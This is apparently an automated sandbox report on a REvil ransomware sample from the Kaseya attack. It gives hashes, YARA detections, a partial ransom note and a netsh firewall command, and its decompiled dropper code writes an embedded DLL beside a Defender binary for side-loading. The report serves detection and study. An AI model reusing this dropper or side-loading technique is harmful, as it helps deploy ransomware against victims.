                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                        Category:dropped
                        Size (bytes):22224
                        Entropy (8bit):6.802966536066802
                        Encrypted:false
                        SSDEEP:384:NDr3WIqWJ1q//0GftpBjRwtxO4HRN7uJlYaibn6:FLe8ifJkuUaY6
                        MD5:8CC83221870DD07144E63DF594C391D9
                        SHA1:3D409B39B8502FCD23335A878F2CBDAF6D721995
                        SHA-256:33BC14D231A4AFAA18F06513766D5F69D8B88F1E697CD127D24FB4B72AD44C7A
                        SHA-512:E7F964A10A8799310A519FA569D264F652E13CC7EA199792DC6A5C0507DEC4A12844A87BF8BAB714255DCE717839908ED5D967CE8F65F5520FE4E7F9D25A622C
                        Malicious:true
                        Antivirus:
                        • Antivirus: Virustotal, Detection: 0%, Browse
                        • Antivirus: Metadefender, Detection: 0%, Browse
                        • Antivirus: ReversingLabs, Detection: 0%
                        Joe Sandbox View:
                        • Filename: Broker.exe, Detection: malicious, Browse
                        • Filename: 835f242d_by_Libranalysis.exe, Detection: malicious, Browse
                        • Filename: seu.exe, Detection: malicious, Browse
                        • Filename: srnmp.exe, Detection: malicious, Browse
                        • Filename: BORANG MAKLUMBALAS - SESI WORKSHOP DIREKTORAT.doc, Detection: malicious, Browse
                        • Filename: BRIEF WRITE ON EVENT IDE 18 JAN.docx, Detection: malicious, Browse
                        Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........K.*..*..*..R.H.*..*..*..R.M.*..R.Q.*..R.J.*..R.O.*..Rich.*..................PE..L....w,S..................................... ....@..........................`......9............`..........................$0..<....@...................@...P..$...................................H...@............0..$............................text............................... ..`.data...$.... ......................@....idata..,....0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................................
                        C:\Windows\mpsvc.dll
                        Process:C:\Users\user\Desktop\revil.exe
                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                        Category:dropped
                        Size (bytes):808328
                        Entropy (8bit):6.978893799604197
                        Encrypted:false
                        SSDEEP:12288:KXnKcEqGM00LJdqoHuDWeij0XukcWl9e56+5gD6QRqb/kYxFNFsX3ArTjvJjx0uA:YETDWX4XukZeVL/kYx9P/JY6gfjcs
                        MD5:A47CF00AEDF769D60D58BFE00C0B5421
                        SHA1:656C4D285EA518D90C1B669B79AF475DB31E30B1
                        SHA-256:8DD620D9AEB35960BB766458C8890EDE987C33D239CF730F93FE49D90AE759DD
                        SHA-512:4C2DCAD3BD478FA70D086B7426D55976CAA7FFC3D120C9C805CBB49EAE910123C496BF2356066AFCACBA12BA05C963BBB8D95ED7F548479C90FEC57AA16E4637
                        Malicious:true
                        Yara Hits:
                        • Rule: APT_MAL_REvil_Kaseya_Jul21_2, Description: Detects malware used in the Kaseya supply chain attack, Source: C:\Windows\mpsvc.dll, Author: Florian Roth
                        Antivirus:
                        • Antivirus: Metadefender, Detection: 17%, Browse
                        • Antivirus: ReversingLabs, Detection: 30%
                        Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........x.............HU.....Hk.....HT.|...T.T.....a'.............KU......Kh......Kj.....Rich............PE..L...j..`...........!.........h............... .......................................[....@.....................................P....................>.......0...a..................................P...@............ ..h............................text...B........................... ..`.rdata..d.... ......................@..@.data....\....... ..................@....reloc...a...0...b..................@..B........................................................................................................................................................................................................................................................................................................................................................................
                        C:\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:true
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        \Device\ConDrv
                        Process:C:\Windows\SysWOW64\netsh.exe
                        File Type:ASCII text, with CRLF line terminators
                        Category:dropped
                        Size (bytes):30
                        Entropy (8bit):4.106890595608519
                        Encrypted:false
                        SSDEEP:3:jMs/yha:jMUma
                        MD5:78890DD69B4AB45F912760EC5EA2AED1
                        SHA1:050994B6DB3BC0103A5320BAE25F21DAEF677A5E
                        SHA-256:803AF0F87EF5899F1FA217B97B50BCC360E5DA596B24F5449779945BAEF35285
                        SHA-512:45B2FCA2AB032F03F40C4ED30F25AB0606A86AB06BE0161122453E74B623D40254E7697E13F29FCCC658588AF4C25C9388DFBC2293D25678B712341582D170D0
                        Malicious:false
                        Preview: ..Updated 52 rule(s)...Ok.....

                        Static File Info

                        General

                        File type:PE32 executable (GUI) Intel 80386, for MS Windows
                        Entropy (8bit):6.952255719094324
                        TrID:
                        • Win32 Executable (generic) a (10002005/4) 99.96%
                        • Generic Win/DOS Executable (2004/3) 0.02%
                        • DOS Executable Generic (2002/1) 0.02%
                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                        File name:revil.exe
                        File size:912264
                        MD5:561cffbaba71a6e8cc1cdceda990ead4
                        SHA1:5162f14d75e96edb914d1756349d6e11583db0b0
                        SHA256:d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e
                        SHA512:09149b9825db2c9e6d2ec6665abc64b0b7aaafaa47c921c5bf0062cd7bedd1fc64cf54646a098f45fc4b930f5fbecee586fe839950c9135f64ea722b00baa50e
                        SSDEEP:24576:vMz7ETDWX4XukZeVL/kYx9P/JY6gfjcsAE:kfF7k4pB/JYPIsAE
                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............G...G...G...F...G...F...G...F...G...F...G...F...G...F...G...F...G...G...GE..F...GE.~G...GE..F...GRich...G...............

                        File Icon

                        Icon Hash:00828e8e8686b000

                        Static PE Info

                        General

                        Entrypoint:0x4013ef
                        Entrypoint Section:.text
                        Digitally signed:true
                        Imagebase:0x400000
                        Subsystem:windows gui
                        Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE
                        DLL Characteristics:TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                        Time Stamp:0x60DDB7BD [Thu Jul 1 12:40:29 2021 UTC]
                        TLS Callbacks:
                        CLR (.Net) Version:
                        OS Version Major:6
                        OS Version Minor:0
                        File Version Major:6
                        File Version Minor:0
                        Subsystem Version Major:6
                        Subsystem Version Minor:0
                        Import Hash:59349b1648eddf021c01f05a17a0e870

                        Authenticode Signature

                        Signature Valid:false
                        Signature Issuer:CN=Sectigo RSA Code Signing CA, O=Sectigo Limited, L=Salford, S=Greater Manchester, C=GB
                        Signature Validation Error:A required certificate is not within its validity period when verifying against the current system clock or the timestamp in the signed file
                        Error Number:-2146762495
                        Not Before, Not After
                        • 4/29/2021 2:00:00 AM 4/30/2022 1:59:59 AM
                        Subject Chain
                        • CN=PB03 TRANSPORT LTD., O=PB03 TRANSPORT LTD., L=Brampton, S=Ontario, C=CA
                        Version:3
                        Thumbprint MD5:786FE71031A7CE560DCE51D45EEAF576
                        Thumbprint SHA-1:11FF68DA43F0931E22002F1461136C662E623366
                        Thumbprint SHA-256:6A937953F7F2527D40C5264D24E3AADBC39348577FABCE82AC71D7D3EF01EF16
                        Serial:119ACEAD668BAD57A48B4F42F294F8F0

                        Entrypoint Preview

                        Instruction
                        call 00007F95CC987B58h
                        jmp 00007F95CC98772Fh
                        push ebp
                        mov ebp, esp
                        mov eax, dword ptr [ebp+08h]
                        push esi
                        mov ecx, dword ptr [eax+3Ch]
                        add ecx, eax
                        movzx eax, word ptr [ecx+14h]
                        lea edx, dword ptr [ecx+18h]
                        add edx, eax
                        movzx eax, word ptr [ecx+06h]
                        imul esi, eax, 28h
                        add esi, edx
                        cmp edx, esi
                        je 00007F95CC9878CBh
                        mov ecx, dword ptr [ebp+0Ch]
                        cmp ecx, dword ptr [edx+0Ch]
                        jc 00007F95CC9878BCh
                        mov eax, dword ptr [edx+08h]
                        add eax, dword ptr [edx+0Ch]
                        cmp ecx, eax
                        jc 00007F95CC9878BEh
                        add edx, 28h
                        cmp edx, esi
                        jne 00007F95CC98789Ch
                        xor eax, eax
                        pop esi
                        pop ebp
                        ret
                        mov eax, edx
                        jmp 00007F95CC9878ABh
                        push esi
                        call 00007F95CC98804Dh
                        test eax, eax
                        je 00007F95CC9878D2h
                        mov eax, dword ptr fs:[00000018h]
                        mov esi, 00413884h
                        mov edx, dword ptr [eax+04h]
                        jmp 00007F95CC9878B6h
                        cmp edx, eax
                        je 00007F95CC9878C2h
                        xor eax, eax
                        mov ecx, edx
                        lock cmpxchg dword ptr [esi], ecx
                        test eax, eax
                        jne 00007F95CC9878A2h
                        xor al, al
                        pop esi
                        ret
                        mov al, 01h
                        pop esi
                        ret
                        push ebp
                        mov ebp, esp
                        cmp dword ptr [ebp+08h], 00000000h
                        jne 00007F95CC9878B9h
                        mov byte ptr [00413888h], 00000001h
                        call 00007F95CC987E4Ch
                        call 00007F95CC9882EAh
                        test al, al
                        jne 00007F95CC9878B6h
                        xor al, al
                        pop ebp
                        ret
                        call 00007F95CC98A81Fh
                        test al, al
                        jne 00007F95CC9878BCh
                        push 00000000h
                        call 00007F95CC9882F1h
                        pop ecx
                        jmp 00007F95CC98789Bh
                        mov al, 01h
                        pop ebp
                        ret
                        push ebp
                        mov ebp, esp
                        cmp byte ptr [00413889h], 00000000h
                        je 00007F95CC9878B6h
                        mov al, 01h

                        Data Directories

                        NameVirtual AddressVirtual Size Is in Section
                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                        IMAGE_DIRECTORY_ENTRY_IMPORT0x1239c0x28.rdata
                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x150000xcab18.rsrc
                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                        IMAGE_DIRECTORY_ENTRY_SECURITY0xdd6000x1588.rsrc
                        IMAGE_DIRECTORY_ENTRY_BASERELOC0xe00000xe04.reloc
                        IMAGE_DIRECTORY_ENTRY_DEBUG0x11c500x38.rdata
                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x11c880x40.rdata
                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                        IMAGE_DIRECTORY_ENTRY_IAT0xd0000x120.rdata
                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                        Sections

                        NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                        .text0x10000xb0720xb200False0.590919066011data6.62319495618IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                        .rdata0xd0000x59f00x5a00False0.419921875data4.86045729034IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                        .data0x130000x14100xa00False0.1390625DOS executable (block device driver \277DN)1.81174628065IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                        .rsrc0x150000xcab180xcac00False0.594584473258data6.98948797117IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                        .reloc0xe00000xe040x1000False0.692626953125data6.12011193404IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                        Resources

                        NameRVASizeTypeLanguageCountry
                        MODLIS0x1a7900xc5388PE32 executable (DLL) (console) Intel 80386, for MS WindowsEnglishUnited States
                        SOFTIS0x150c00x56d0PE32 executable (GUI) Intel 80386, for MS WindowsEnglishUnited States

                        Imports

                        DLLImport
                        KERNEL32.dllWriteFile, VirtualAlloc, GetTempPathW, CreateFileW, Sleep, lstrcatW, LockResource, CloseHandle, LoadResource, FindResourceW, CreateProcessW, WriteConsoleW, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, GetModuleHandleW, GetCurrentProcess, TerminateProcess, RtlUnwind, GetLastError, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, RaiseException, GetStdHandle, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetFileType, GetStringTypeW, LCMapStringW, GetProcessHeap, HeapSize, HeapReAlloc, FlushFileBuffers, GetConsoleCP, GetConsoleMode, SetFilePointerEx, DecodePointer

                        Possible Origin

                        Language of compilation systemCountry where language is spokenMap
                        EnglishUnited States

                        Network Behavior

                        No network behavior found

                        Code Manipulations

                        Statistics

                        CPU Usage

                        Click to jump to process

                        Memory Usage

                        Click to jump to process

                        High Level Behavior Distribution

                        Click to dive into process behavior distribution

                        Behavior

                        Click to jump to process

                        System Behavior

                        General

                        Start time:07:48:09
                        Start date:03/07/2021
                        Path:C:\Users\user\Desktop\revil.exe
                        Wow64 process (32bit):true
                        Commandline:'C:\Users\user\Desktop\revil.exe'
                        Imagebase:0x160000
                        File size:912264 bytes
                        MD5 hash:561CFFBABA71A6E8CC1CDCEDA990EAD4
                        Has elevated privileges:true
                        Has administrator privileges:true
                        Programmed in:C, C++ or other language
                        Reputation:low

                        General

                        Start time:07:48:10
                        Start date:03/07/2021
                        Path:C:\Windows\MsMpEng.exe
                        Wow64 process (32bit):true
                        Commandline:C:\Windows\MsMpEng.exe
                        Imagebase:0xb20000
                        File size:22224 bytes
                        MD5 hash:8CC83221870DD07144E63DF594C391D9
                        Has elevated privileges:true
                        Has administrator privileges:true
                        Programmed in:C, C++ or other language
                        Yara matches:
                        • Rule: MAL_RANSOM_REvil_Oct20_1, Description: Detects REvil ransomware, Source: 00000001.00000002.917270010.0000000000F60000.00000040.00000001.sdmp, Author: Florian Roth
                        • Rule: MAL_RANSOM_REvil_Oct20_1, Description: Detects REvil ransomware, Source: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Author: Florian Roth
                        • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.649759193.00000000033F8000.00000004.00000040.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.650121407.00000000033F8000.00000004.00000040.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.649936181.00000000033F8000.00000004.00000040.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.649851083.00000000033F8000.00000004.00000040.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.649708286.00000000033F8000.00000004.00000040.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.650242625.00000000033F8000.00000004.00000040.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.650215316.00000000033F8000.00000004.00000040.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.823910328.00000000033F8000.00000004.00000040.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.649804113.00000000033F8000.00000004.00000040.sdmp, Author: Joe Security
                        Antivirus matches:
                        • Detection: 0%, Virustotal, Browse
                        • Detection: 0%, Metadefender, Browse
                        • Detection: 0%, ReversingLabs
                        Reputation:low

                        General

                        Start time:07:49:32
                        Start date:03/07/2021
                        Path:C:\Windows\SysWOW64\netsh.exe
                        Wow64 process (32bit):true
                        Commandline:netsh advfirewall firewall set rule group='Network Discovery' new enable=Yes
                        Imagebase:0x9f0000
                        File size:82944 bytes
                        MD5 hash:A0AA3322BB46BBFC36AB9DC1DBBBB807
                        Has elevated privileges:true
                        Has administrator privileges:true
                        Programmed in:C, C++ or other language
                        Reputation:high

                        General

                        Start time:07:49:33
                        Start date:03/07/2021
                        Path:C:\Windows\System32\conhost.exe
                        Wow64 process (32bit):false
                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Imagebase:0x7ff724c50000
                        File size:625664 bytes
                        MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                        Has elevated privileges:true
                        Has administrator privileges:true
                        Programmed in:C, C++ or other language
                        Reputation:high

                        General

                        Start time:07:49:33
                        Start date:03/07/2021
                        Path:C:\Windows\System32\wbem\unsecapp.exe
                        Wow64 process (32bit):false
                        Commandline:C:\Windows\system32\wbem\unsecapp.exe -Embedding
                        Imagebase:0x7ff6809a0000
                        File size:48640 bytes
                        MD5 hash:9CBD3EC8D9E4F8CE54258B0573C66BEB
                        Has elevated privileges:true
                        Has administrator privileges:true
                        Programmed in:C, C++ or other language
                        Reputation:moderate

                        Disassembly

                        Code Analysis

                        Reset < >

                          Executed Functions

                          C-Code - Quality: 91%
                          			E001610F2(WCHAR* _a12) {
                          				struct HRSRC__* _t2;
                          				void* _t4;
                          				struct HRSRC__* _t6;
                          				void* _t7;
                          				WCHAR* _t10;
                          				intOrPtr _t13;
                          				intOrPtr* _t18;
                          
                          				_t2 = FindResourceW(0, 0x65, L"SOFTIS");
                          				if(_t2 != 0) {
                          					_t4 = LoadResource(0, _t2);
                          					if(_t4 != 0) {
                          						 *0x1743a0 = LockResource(_t4);
                          						_t6 = FindResourceW(0, 0x66, L"MODLIS");
                          						if(_t6 != 0) {
                          							_t7 = LoadResource(0, _t6);
                          							if(_t7 != 0) {
                          								 *0x1743a4 = LockResource(_t7);
                          								E00161000(_t8, 0xc5588, L"mpsvc.dll");
                          								_t13 =  *0x1743a0; // 0x1750c0
                          								 *_t18 = L"MsMpEng.exe"; // executed
                          								_t10 = E00161000(_t13, 0x56d0); // executed
                          								 *_t18 = 0x1743ec;
                          								0x1743a8->cb = 0x44;
                          								CreateProcessW(_t10, _a12, 0, 0, 0, 0x230, 0, 0, 0x1743a8, ??); // executed
                          							}
                          						}
                          					}
                          				}
                          				return 0;
                          			}










                          0x00161105
                          0x00161109
                          0x00161112
                          0x0016111a
                          0x00161130
                          0x00161135
                          0x00161139
                          0x0016113f
                          0x00161147
                          0x0016115a
                          0x00161161
                          0x00161166
                          0x00161171
                          0x00161178
                          0x0016117d
                          0x00161196
                          0x001611a1
                          0x001611a1
                          0x00161147
                          0x00161139
                          0x0016111a
                          0x001611ab

                          APIs
                          • FindResourceW.KERNEL32(00000000,00000065,SOFTIS), ref: 00161105
                          • LoadResource.KERNEL32(00000000,00000000), ref: 00161112
                          • LockResource.KERNEL32(00000000), ref: 00161121
                          • FindResourceW.KERNEL32(00000000,00000066,MODLIS), ref: 00161135
                          • LoadResource.KERNEL32(00000000,00000000), ref: 0016113F
                          • LockResource.KERNEL32(00000000), ref: 0016114A
                            • Part of subcall function 00161000: VirtualAlloc.KERNELBASE(00000000,00000208,00003000,00000004), ref: 00161021
                            • Part of subcall function 00161000: Sleep.KERNEL32(00000001), ref: 00161032
                            • Part of subcall function 00161000: lstrcatW.KERNEL32(00000000,C:\Windows\), ref: 00161046
                            • Part of subcall function 00161000: lstrcatW.KERNEL32(00000000,?), ref: 0016104C
                            • Part of subcall function 00161000: CreateFileW.KERNELBASE(00000000,40000000,00000000,00000000,00000001,00000080,00000000), ref: 0016105E
                            • Part of subcall function 00161000: GetTempPathW.KERNEL32(00000208,00000000), ref: 00161086
                            • Part of subcall function 00161000: lstrcatW.KERNEL32(00000000,?), ref: 00161094
                            • Part of subcall function 00161000: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000001,00000080,00000000), ref: 001610A6
                            • Part of subcall function 00161000: WriteFile.KERNELBASE(00000000,?,?,?,00000000), ref: 001610CE
                            • Part of subcall function 00161000: FindCloseChangeNotification.KERNELBASE(00000000), ref: 001610E0
                          • CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000230,00000000,00000000,001743A8,mpsvc.dll), ref: 001611A1
                          Strings
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: Resource$CreateFileFindlstrcat$LoadLock$AllocChangeCloseNotificationPathProcessSleepTempVirtualWrite
                          • String ID: MODLIS$MsMpEng.exe$SOFTIS$mpsvc.dll
                          • API String ID: 2192173096-1869152786
                          • Opcode ID: d7af42f5d49f92c44afdf1496c0ea056d44e86882aa2c59be2691e1e3f99c7da
                          • Instruction ID: d5d4b89805e3306f59b14630c48819d7e7d4c56d193c9123f13aafa206ac602b
                          • Opcode Fuzzy Hash: d7af42f5d49f92c44afdf1496c0ea056d44e86882aa2c59be2691e1e3f99c7da
                          • Instruction Fuzzy Hash: 08111B71FC5320BFE7206FB1AC09F5B3EB8AB06B92F044415FA4CEA594D7B58591C6A0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E00163CFC(int _a4) {
                          				void* _t7;
                          				void* _t14;
                          
                          				_t7 = E00165FD1(_t14); // executed
                          				if(_t7 != 1 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
                          					TerminateProcess(GetCurrentProcess(), _a4);
                          				}
                          				E00163D3E(_t14, _a4);
                          				ExitProcess(_a4);
                          			}





                          0x00163d01
                          0x00163d09
                          0x00163d25
                          0x00163d25
                          0x00163d2e
                          0x00163d37

                          APIs
                          • GetCurrentProcess.KERNEL32(?,?,00163CFB,?,?,?,?,?,001691DD), ref: 00163D1E
                          • TerminateProcess.KERNEL32(00000000,?,00163CFB,?,?,?,?,?,001691DD), ref: 00163D25
                          • ExitProcess.KERNEL32 ref: 00163D37
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: Process$CurrentExitTerminate
                          • String ID:
                          • API String ID: 1703294689-0
                          • Opcode ID: bec9e85c6fa8bd6f90f322580638e0f8825e8596586f2bc201449c6d2fc9b3f5
                          • Instruction ID: c8aa8855f946b03e4a33f68604c4a8e0efa17cc396de0edcdaac19616f98e262
                          • Opcode Fuzzy Hash: bec9e85c6fa8bd6f90f322580638e0f8825e8596586f2bc201449c6d2fc9b3f5
                          • Instruction Fuzzy Hash: E6E08C32500548AFCF113FA4ED08A083B29FB00351F504414F91586531CBB5DEA2CB40
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E001618F4() {
                          				_Unknown_base(*)()* _t1;
                          
                          				_t1 = SetUnhandledExceptionFilter(E00161900); // executed
                          				return _t1;
                          			}




                          0x001618f9
                          0x001618ff

                          APIs
                          • SetUnhandledExceptionFilter.KERNELBASE(Function_00001900,00161266), ref: 001618F9
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: ExceptionFilterUnhandled
                          • String ID:
                          • API String ID: 3192549508-0
                          • Opcode ID: df0518e16d84ad9d07b4f1656254c397c01f95572ca1f122f720d58553694112
                          • Instruction ID: 99f920e972abfb697f25a3a60686d05a27baf64c0bdcf041bad43515f703c78d
                          • Opcode Fuzzy Hash: df0518e16d84ad9d07b4f1656254c397c01f95572ca1f122f720d58553694112
                          • Instruction Fuzzy Hash:
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E00165FD1(void* __ecx) {
                          				char _v8;
                          				intOrPtr _t7;
                          				char _t13;
                          
                          				_t13 = 0;
                          				_v8 = 0;
                          				_t7 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
                          				_t16 =  *((intOrPtr*)(_t7 + 8));
                          				if( *((intOrPtr*)(_t7 + 8)) < 0) {
                          					L2:
                          					_t13 = 1;
                          				} else {
                          					E00166E05(_t16,  &_v8); // executed
                          					if(_v8 != 1) {
                          						goto L2;
                          					}
                          				}
                          				return _t13;
                          			}






                          0x00165fde
                          0x00165fe0
                          0x00165fe3
                          0x00165fe6
                          0x00165fe9
                          0x00165ffa
                          0x00165ffc
                          0x00165feb
                          0x00165fef
                          0x00165ff8
                          0x00000000
                          0x00000000
                          0x00165ff8
                          0x00166001

                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID:
                          • String ID:
                          • API String ID:
                          • Opcode ID: 189704a180e9d9c2933ad097dddec212f837fbb582a5391eefc261ea54af1824
                          • Instruction ID: c675e44bacc26fa9c57eafc9e48c73086588ebefeda16909403a96f87bc62259
                          • Opcode Fuzzy Hash: 189704a180e9d9c2933ad097dddec212f837fbb582a5391eefc261ea54af1824
                          • Instruction Fuzzy Hash: FFE0EC72921628EBCB15DB9CC94498AF7FDEB49B50F154496F512D3511D370DE10C7D0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E00161000(intOrPtr __ecx, intOrPtr __edx, WCHAR* _a4) {
                          				long _v8;
                          				intOrPtr _v12;
                          				intOrPtr _v16;
                          				WCHAR* _v20;
                          				void* __edi;
                          				WCHAR* _t12;
                          				void* _t15;
                          				long _t17;
                          				int _t26;
                          				void* _t30;
                          				void* _t34;
                          				WCHAR* _t36;
                          				intOrPtr _t37;
                          
